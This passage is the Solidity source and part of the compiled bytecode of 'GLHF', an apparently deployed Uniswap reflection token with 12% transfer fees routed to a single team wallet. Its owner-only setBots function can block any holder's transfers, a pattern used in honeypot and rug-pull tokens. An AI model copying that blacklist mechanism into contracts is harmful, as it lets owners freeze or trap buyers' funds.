require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GLHF is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeRewards = 1;
uint256 private _feeTeam = 2;
uint256 private _feeMarketing = 9;
address payable private _feeAddrMarketing;
address payable private _feeAddrTeam;
string private constant _name = "GLHF";
string private constant _symbol = "GLHF";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrMarketing = payable(0xAfB5ba61D1Ab579153b864ab02F4Be7C153504C4);
_feeAddrTeam = payable(0xAfB5ba61D1Ab579153b864ab02F4Be7C153504C4);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrMarketing] = true;
_isExcludedFromFee[_feeAddrTeam] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 marketingPecentage = _feeMarketing.mul(10000).mul(10**9).div(_feeMarketing.add(_feeTeam));
uint256 amountToMarketing = marketingPecentage.mul(amount).div(10000).div(10**9);
uint256 amountToTeam = amount.sub(amountToMarketing);
_feeAddrMarketing.transfer(amountToMarketing);
_feeAddrTeam.transfer(amountToTeam);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrTeam);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrTeam);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeRewards, _feeTeam.add(_feeMarketing));
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 feeTax, uint256 feeTeam) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(feeTax).div(100);
uint256 tTeam = tAmount.mul(feeTeam).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063f2fde38b146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612c16565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061276d565b61045e565b6040516101789190612bfb565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612d98565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061271a565b610490565b6040516101e09190612bfb565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612680565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612e0d565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906127f6565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612680565b610786565b6040516102b19190612d98565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612b2d565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612c16565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061276d565b610990565b60405161035b9190612bfb565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906127ad565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906126da565b6110b4565b6040516103ef9190612d98565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190612680565b61113b565b005b60606040518060400160405280600481526020017f474c484600000000000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112fd565b8484611305565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d8484846114d0565b61055e846104a96112fd565b6105598560405180606001604052806028815260200161351160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ae9092919063ffffffff16565b611305565b600190509392505050565b6105716112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612cf8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612cf8565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112fd565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611a12565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9b565b9050919050565b6107df6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612cf8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f474c484600000000000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112fd565b84846114d0565b6001905092915050565b6109b66112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612cf8565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a67613155565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc906130ae565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b196112fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611c09565b50565b610b5a6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612cf8565b60405180910390fd5b601060149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612d78565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611305565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906126ad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906126ad565b6040518363ffffffff1660e01b8152600401610dff929190612b48565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906126ad565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612b9a565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f599190612850565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506a295be96e640669720000006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612b71565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612823565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111436112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c790612cf8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123790612c78565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c90612d58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dc90612c98565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114c39190612d98565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790612d38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a790612c38565b60405180910390fd5b600081116115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ea90612d18565b60405180910390fd5b6115fb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611669575061163961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117125750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61171b57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117c65750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561181c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118345750601060179054906101000a900460ff165b156118e45760115481111561184857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061189357600080fd5b601e426118a09190612ece565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118ef30610786565b9050601060159054906101000a900460ff1615801561195c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119745750601060169054906101000a900460ff165b1561199c5761198281611c09565b6000479050600081111561199a5761199947611a12565b5b505b505b6119a9838383611e91565b505050565b60008383111582906119f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ed9190612c16565b60405180910390fd5b5060008385611a059190612faf565b9050809150509392505050565b6000611a69611a2e600b54600c54611ea190919063ffffffff16565b611a5b633b9aca00611a4d612710600c54611eff90919063ffffffff16565b611eff90919063ffffffff16565b611f7a90919063ffffffff16565b90506000611aaa633b9aca00611a9c612710611a8e8787611eff90919063ffffffff16565b611f7a90919063ffffffff16565b611f7a90919063ffffffff16565b90506000611ac18285611fc490919063ffffffff16565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611b2b573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b94573d6000803e3d6000fd5b5050505050565b6000600854821115611be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd990612c58565b60405180910390fd5b6000611bec61200e565b9050611c018184611f7a90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c4157611c40613184565b5b604051908082528060200260200182016040528015611c6f5781602001602082028036833780820191505090505b5090503081600081518110611c8757611c86613155565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d2957600080fd5b505afa158015611d3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d6191906126ad565b81600181518110611d7557611d74613155565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ddc30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611305565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e40959493929190612db3565b600060405180830381600087803b158015611e5a57600080fd5b505af1158015611e6e573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b611e9c838383612039565b505050565b6000808284611eb09190612ece565b905083811015611ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eec90612cb8565b60405180910390fd5b8091505092915050565b600080831415611f125760009050611f74565b60008284611f209190612f55565b9050828482611f2f9190612f24565b14611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6690612cd8565b60405180910390fd5b809150505b92915050565b6000611fbc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612204565b905092915050565b600061200683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119ae565b905092915050565b600080600061201b612267565b915091506120328183611f7a90919063ffffffff16565b9250505090565b60008060008060008061204b876122d2565b9550955095509550955095506120a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fc490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218a8161234e565b612194848361240b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121f19190612d98565b60405180910390a3505050505050505050565b6000808311829061224b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122429190612c16565b60405180910390fd5b506000838561225a9190612f24565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506122a36b033b2e3c9fd0803ce8000000600854611f7a90919063ffffffff16565b8210156122c5576008546b033b2e3c9fd0803ce80000009350935050506122ce565b81819350935050505b9091565b60008060008060008060008060006123038a600a546122fe600c54600b54611ea190919063ffffffff16565b612445565b925092509250600061231361200e565b905060008060006123268e8787876124db565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061235861200e565b9050600061236f8284611eff90919063ffffffff16565b90506123c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61242082600854611fc490919063ffffffff16565b60088190555061243b81600954611ea190919063ffffffff16565b6009819055505050565b6000806000806124716064612463888a611eff90919063ffffffff16565b611f7a90919063ffffffff16565b9050600061249b606461248d888b611eff90919063ffffffff16565b611f7a90919063ffffffff16565b905060006124c4826124b6858c611fc490919063ffffffff16565b611fc490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124f48589611eff90919063ffffffff16565b9050600061250b8689611eff90919063ffffffff16565b905060006125228789611eff90919063ffffffff16565b9050600061254b8261253d8587611fc490919063ffffffff16565b611fc490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061257761257284612e4d565b612e28565b9050808382526020820190508285602086028201111561259a576125996131b8565b5b60005b858110156125ca57816125b088826125d4565b84526020840193506020830192505060018101905061259d565b5050509392505050565b6000813590506125e3816134cb565b92915050565b6000815190506125f8816134cb565b92915050565b600082601f830112612613576126126131b3565b5b8135612623848260208601612564565b91505092915050565b60008135905061263b816134e2565b92915050565b600081519050612650816134e2565b92915050565b600081359050612665816134f9565b92915050565b60008151905061267a816134f9565b92915050565b600060208284031215612696576126956131c2565b5b60006126a4848285016125d4565b91505092915050565b6000602082840312156126c3576126c26131c2565b5b60006126d1848285016125e9565b91505092915050565b600080604083850312156126f1576126f06131c2565b5b60006126ff858286016125d4565b9250506020612710858286016125d4565b9150509250929050565b600080600060608486031215612733576127326131c2565b5b6000612741868287016125d4565b9350506020612752868287016125d4565b925050604061276386828701612656565b9150509250925092565b60008060408385031215612784576127836131c2565b5b6000612792858286016125d4565b92505060206127a385828601612656565b9150509250929050565b6000602082840312156127c3576127c26131c2565b5b600082013567ffffffffffffffff8111156127e1576127e06131bd565b5b6127ed848285016125fe565b91505092915050565b60006020828403121561280c5761280b6131c2565b5b600061281a8482850161262c565b91505092915050565b600060208284031215612839576128386131c2565b5b600061284784828501612641565b91505092915050565b600080600060608486031215612869576128686131c2565b5b60006128778682870161266b565b93505060206128888682870161266b565b92505060406128998682870161266b565b9150509250925092565b60006128af83836128bb565b60208301905092915050565b6128c481612fe3565b82525050565b6128d381612fe3565b82525050565b60006128e482612e89565b6128ee8185612eac565b93506128f983612e79565b8060005b8381101561292a57815161291188826128a3565b975061291c83612e9f565b9250506001810190506128fd565b5085935050505092915050565b61294081612ff5565b82525050565b61294f81613038565b82525050565b600061296082612e94565b61296a8185612ebd565b935061297a81856020860161304a565b612983816131c7565b840191505092915050565b600061299b602383612ebd565b91506129a6826131d8565b604082019050919050565b60006129be602a83612ebd565b91506129c982613227565b604082019050919050565b60006129e1602683612ebd565b91506129ec82613276565b604082019050919050565b6000612a04602283612ebd565b9150612a0f826132c5565b604082019050919050565b6000612a27601b83612ebd565b9150612a3282613314565b602082019050919050565b6000612a4a602183612ebd565b9150612a558261333d565b604082019050919050565b6000612a6d602083612ebd565b9150612a788261338c565b602082019050919050565b6000612a90602983612ebd565b9150612a9b826133b5565b604082019050919050565b6000612ab3602583612ebd565b9150612abe82613404565b604082019050919050565b6000612ad6602483612ebd565b9150612ae182613453565b604082019050919050565b6000612af9601783612ebd565b9150612b04826134a2565b602082019050919050565b612b1881613021565b82525050565b612b278161302b565b82525050565b6000602082019050612b4260008301846128ca565b92915050565b6000604082019050612b5d60008301856128ca565b612b6a60208301846128ca565b9392505050565b6000604082019050612b8660008301856128ca565b612b936020830184612b0f565b9392505050565b600060c082019050612baf60008301896128ca565b612bbc6020830188612b0f565b612bc96040830187612946565b612bd66060830186612946565b612be360808301856128ca565b612bf060a0830184612b0f565b979650505050505050565b6000602082019050612c106000830184612937565b92915050565b60006020820190508181036000830152612c308184612955565b905092915050565b60006020820190508181036000830152612c518161298e565b9050919050565b60006020820190508181036000830152612c71816129b1565b9050919050565b60006020820190508181036000830152612c91816129d4565b9050919050565b60006020820190508181036000830152612cb1816129f7565b9050919050565b60006020820190508181036000830152612cd181612a1a565b9050919050565b60006020820190508181036000830152612cf181612a3d565b9050919050565b600060208